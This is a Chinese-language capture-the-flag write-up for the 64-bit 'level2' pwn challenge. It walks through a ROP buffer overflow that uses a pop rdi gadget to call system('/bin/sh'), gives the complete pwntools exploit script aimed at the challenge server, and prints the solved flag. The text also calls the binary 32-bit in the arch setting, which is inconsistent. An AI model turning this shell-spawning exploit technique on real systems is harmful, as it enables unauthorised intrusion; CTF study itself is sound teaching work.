攻防世界level2 x_64位

64位程序在调用system函数时，参数的传递方式和32位不一样，32位是通过栈传参，而64位通过edi寄存器传参，所以这时我们的思路变成如何覆盖edi的值，通过基本rop就可以做到，利用程序自己的带有pop edi/rdi;ret语句达到给edi赋值的效果。pop edi语句是将当前的栈顶元素传递给edi，在执行pop语句时，只要保证栈顶元素是”/bin/sh”的地址，并将返回地址设置为system。

使用ROPgadget搜索操作寄存器的函数地址：
ROPgadget --binary level2_x64 --only "pop|ret"
ret是返回到栈中。那么我们就找到了pop edi/rdi的地址：0x4006b3

 

接下来要找system，，binsh的地址，，，，，，，

system的地址：0x4004C0

 

然后找binsh的地址，，

左键点击左上角的view，打开open subviews，，打开strings,,

 

 

双击进入得到bin/sh的地址。。0x600A90

下面开始写脚本，

1，from pwn import *

一般直接用from pwn import * 或者import pwn将所有模块导入到当前命名空间，这条语句还会把os、sys等常用的系统库一并导入。

 

2,context(os='linux',arch='i386',log_level='debug')

设置目标机的参数
 os设置系统为linux系统，在完成ctf题目的时候，大多数pwn题目的系统都是linux
 arch设置架构为：，64位的模式为amd64，对应的32位模式是’i386’，根据刚才终端命令可以得知为32位
 log_level设置日志输出的等级为debug，这句话在调试的时候一般会设置，所以有时候可以不输入。

3,p=remote('pwn2.jarvisoj.com',9882)

连接：本地process()、远程remote( , )；对于remote函数可以接url并且指定端口

ELF模块：获取基地址、获取函数地址（基于符号）、获取函数got地址、获取函数plt地址

 

4,p.recvline()

recvline(keepends = True)： 接收一行，keepends为是否保留行尾的\n，默认为Ture

 

5,bin_adr=0x600A90

sys_adr=0x4004C0

popedi_adr=0x4006b3

这些都上面所找到的各个函数的地址。。。

 

6，payload='A'*0x88+p64(popedi_adr)+p64(bin_adr)+p64(sys_adr)

在32位程序当中，函数的传递是通过栈来进行传递。

构造shellcode 的方式是 padding+ fake_ebp+p32(system)+p32(返回地址)+p32(system 的参数)

在64位程序当中，函数的传递是通过寄存器进行传递。在64位程序当中，参数先是找rdi, rsi, rdx, rcx, r8, r9。

构造shellcode的方式是padding+fake_ebp+p64(pop_rdi_ret)+p64(system的参数)+p64(system)

函数的返回地址被pop_rdi_ret所覆盖，执行的时候 system的参数就进入rdi当中 并且ret执行后面的system

 

7，p.send(payload)

 

p.interactive()

sendline(payload) : 发送一行数据，相当于在数据末尾加\n

interactive() ： 直接进行交互，相当于回到shell的模式，在取得shell之后使用

 

 

注释：A'*0x88代表 的是A'*(0x80+0x8)用字符填满buf和栈底，用system函数覆盖函数的返回地址，，

脚本如下：

from pwn import *

context(os='linux',arch='i386',log_level='debug')

#p=process('./level2')

p=remote('pwn2.jarvisoj.com',9882)

p.recvline()

bin_adr=0x600A90

sys_adr=0x4004C0

popedi_adr=0x4006b3

payload='A'*0x88+p64(popedi_adr)+p64(bin_adr)+p64(sys_adr)

p.send(payload)

p.interactive()

 

flag:CTF{081ecc7c8d658409eb43358dcc1cf446}